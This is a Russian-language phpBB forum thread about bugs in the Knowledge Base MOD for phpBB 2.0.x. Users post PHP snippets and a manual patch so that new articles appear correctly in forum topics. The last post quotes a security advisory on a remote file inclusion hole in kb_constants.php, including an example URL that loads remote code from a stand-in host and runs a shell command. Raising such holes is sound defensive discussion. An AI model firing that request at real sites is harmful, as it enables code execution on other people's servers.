Knowledge Base MOD

Поддержка старых модов или модов, созданных авторами не из нашего сообщества, а также любые вопросы, связанные с модами для phpBB 2.0.x, кроме относящихся к форуму Для авторов (phpBB 2.0.x).

Re: Knowledge Base MOD

Сообщение aquaforum.lv 03.06.2008 15:49

wwc писал(а):Может быть есть SQL код в текстовом виде ?

Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007
aquaforum.lv
phpBB 1.0.0
 
Сообщения: 7
Зарегистрирован: 18.02.2007 19:01


Re: Knowledge Base MOD

Сообщение wwc 04.06.2008 12:24

aquaforum.lv писал(а):
wwc писал(а):Может быть есть SQL код в текстовом виде ?

Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007


Туплю-с... :?
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение wwc 04.06.2008 15:47

Спасибо. Все поставил. Вроде работает. Но как бы мне с этим глюком побороться --> http://rsg.peko.ru/php/phpBB2/viewtopic.php?t=336 ... не выводит ни саму статью ни ее URL :-(
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение wwc 05.06.2008 10:16

И еще не совсем понятна формулировка "Тип статьи", коли есть пункт описание статьи... 8-)
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение aquaforum.lv 05.06.2008 11:45

wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(

Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли :roll:
aquaforum.lv
phpBB 1.0.0
 
Сообщения: 7
Зарегистрирован: 18.02.2007 19:01

Re: Knowledge Base MOD

Сообщение wwc 05.06.2008 13:41

aquaforum.lv писал(а):
wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(

Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли :roll:


А в каом месте вообще формируется код выхода на основную страничку, может там просто переменная кривовато описана. Где б посмотреть ?
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение aquaforum.lv 05.06.2008 17:40

wwc писал(а):Где б посмотреть ?

Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:
Код: Выделить всё
$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;
aquaforum.lv
phpBB 1.0.0
 
Сообщения: 7
Зарегистрирован: 18.02.2007 19:01

Re: Knowledge Base MOD

Сообщение wwc 06.06.2008 11:42

aquaforum.lv писал(а):
wwc писал(а):Где б посмотреть ?

Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:
Код: Выделить всё
$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;


Посмотрел. Вроде нчиего особенного не нашел. Думаю, что проблема в той части скрипта, где идет формирование связи с выводом в viewtopic.php
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение Gosudar 06.06.2008 14:15

Какая версия мода? и где качали?
файл functions_kb.php:
За создание сообщения отвечает функция kb_compose_comment
Там раньше была ошибка, что-то типа - т.е. PORTAL_URL не определено
$temp_url = PORTAL_URL . this_kb_mxurl("mode=" . "article&k=" . $kb_comment['article_id']);

Хотя может и исправили это.
Gosudar
phpBB 2.0.6
 
Сообщения: 256
Зарегистрирован: 16.07.2005 22:10

Re: Knowledge Base MOD

Сообщение aquaforum.lv 06.06.2008 21:01

Gosudar писал(а):Какая версия мода? и где качали?

Версия 1.19 от 2005/04/20. Откуда качал не помню.
В общем поковырялся там. С PORTAL_URL вроде все впорядке.
Собственно суть проблемы такова. При добавлении статьи в форуме создается топик и там вместо
Название статьи:
Автор:
Описание:
Категория:
Тип статьи:

>>Прочитать статью полностью

выводится
Статья отредактирована
То есть в БД в таблицу phpbb_posts_text попадает содержимое переменной $message_update_text , а не переменной $message

Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:
Код: Выделить всё
файл includes/kb_post.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_article.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_moderator.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );


файл includes/functions_kb.php
найти
function kb_compose_comment( $kb_comment )
заменить
function kb_compose_comment( $kb_comment, $kb_mode )

найти
$message_update_text = "[i]" . $lang['Edited_Article_info'] . $kb_comment['article_editor'] . "[/i]" . "\n\n";
после вставить
if ($kb_mode == "add") $message_update_text = $message;
aquaforum.lv
phpBB 1.0.0
 
Сообщения: 7
Зарегистрирован: 18.02.2007 19:01

Re: Knowledge Base MOD

Сообщение Gosudar 06.06.2008 21:16

Ну если работает, и при редактировании тогда все ок!
Если нет, киньте в меня свою версию мода, посмотрю на досуге.
Gosudar
phpBB 2.0.6
 
Сообщения: 256
Зарегистрирован: 16.07.2005 22:10

Re: Knowledge Base MOD

Сообщение wwc 07.06.2008 14:32

aquaforum.lv писал(а):
Gosudar писал(а):Какая версия мода? и где качали?

Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:


Реально работает. Спасибо огромное !!!
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение aquaforum.lv 07.06.2008 16:35

wwc писал(а):Реально работает.
Да ить работать-то, работает. Но все-равно тут парадокс и перегиб.
На работе стоит Apach, скачанный с denwer.ru (Денвер-2 2005-07-19), дома поставил тот же. Настройки вроде те же, но вот на работе на локале все работает без всяких переделок, а дома и на хосте - нет. Или что-то с глобальными переменными, или с настройками php.
Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.
aquaforum.lv
phpBB 1.0.0
 
Сообщения: 7
Зарегистрирован: 18.02.2007 19:01

Re: Knowledge Base MOD

Сообщение wwc 09.06.2008 13:00

aquaforum.lv писал(а):Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.


В целом, да. В 1.53 + , есть решение этого мода встроенным путем. Можно у них посмотреть. Я, если честно, не мостак перестраивать плюсовые моды под обычные :-)
wwc
phpBB 1.2.0
 
Сообщения: 16
Зарегистрирован: 15.06.2007 13:33

Re: Knowledge Base MOD

Сообщение Fizigr Вчера 13:12

Добрый день!
Есть вопрос по безопасности данного мода.
В частности интересует файл ./includes/kb_constants.php
Файл начинается с:
Код: Выделить всё
if ( !MXBB_MODULE )
{...

Не должно ли там быть что-то типа:
Код: Выделить всё
if ( !defined( 'IN_PORTAL' ) )
{
   die( "Hacking attempt" );
}

или:
Код: Выделить всё
if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}


Добавлено спустя 4 минуты 19 секунд:
Кстати, вот с хакера пример...
Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие версии.

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "module_root_path" в сценарии /includes/kb_constants.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена.

Пример:

/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls
Fizigr
phpBB 1.2.0
 
Сообщения: 15
Зарегистрирован: 17.12.2007 7:54

Пред.След.

Вернуться в Поддержка модов для phpBB 2.0.x

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 0